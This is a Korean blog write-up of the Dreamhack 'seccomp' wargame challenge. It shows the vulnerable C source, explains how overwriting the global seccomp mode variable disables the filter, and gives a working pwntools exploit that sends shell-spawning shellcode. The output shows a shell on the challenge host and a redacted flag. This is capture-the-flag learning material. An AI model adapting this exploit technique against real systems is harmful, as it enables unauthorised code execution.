728x90
반응형
// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
┌──(kali㉿kali)-[~/Downloads]
└─$ file seccomp
seccomp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5668debbd38ef28c9002ee774d86b1788b6656c0, not stripped
보호기법이 왠만큼 걸려있다.
코드를 간략히 해석해보면
1. filter 설정 및 shellcode를 버퍼에 삽입
2. shellcode 실행
3. 특정 주소의 값 변경
이다.
취약점은 서두에 전역 변수로
int mode = SECCOMP_MODE_STRICT;
와 같이 선언되어있는데, 전역 변수로 선언되었기에 canary나 ASLR과 상관 없이 특정 위치에 고정된다.
더불어 mode에 들어가는 정수 값은 아래와 같이 정의되어있다.
/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */
그러므로 이를 0으로 수정하면 seccomp가 작동하지 않을 것이며, 이를 통해 셀코드 실행이 가능해질 것으로 생각된다.
우선 mode 변수의 위치를 확인해보면
gef➤ info variables
...
0x0000000000602090 mode
...
gef➤ x/g 0x602090
0x602090 <mode>: 0x1
에 있다.
그러므로 전체적인 공격 흐름은
mode 변수 0으로 수정 -> shellcode 삽입 -> shellcode 실행
순이다.
from pwn import *
context.arch = 'amd64'
p = process('./seccomp')
modadd = 0x602090
#change seccomp mode to 0
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'addr: ',str(modadd))
p.sendlineafter(b'value: ',str(0))
#send payload
pay = shellcraft.sh()
p.sendlineafter(b'> ',b'1')
p.sendafter(b'code: ',asm(pay))
p.sendlineafter(b'> ',b'2')
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 12651: Done
/home/kali/Downloads/a.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b'addr: ',str(modadd))
/home/kali/Downloads/a.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b'value: ',str(0))
[*] Switching to interactive mode
$ id
uid=1000(seccomp) gid=1000(seccomp) groups=1000(seccomp)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
master_canary (2) | 2022.08.10 |
---|---|
Master Canary (0) | 2022.08.07 |
Bypass SECCOMP-1 (0) | 2022.08.05 |
validator (0) | 2022.08.04 |
cmd_center (0) | 2022.08.04 |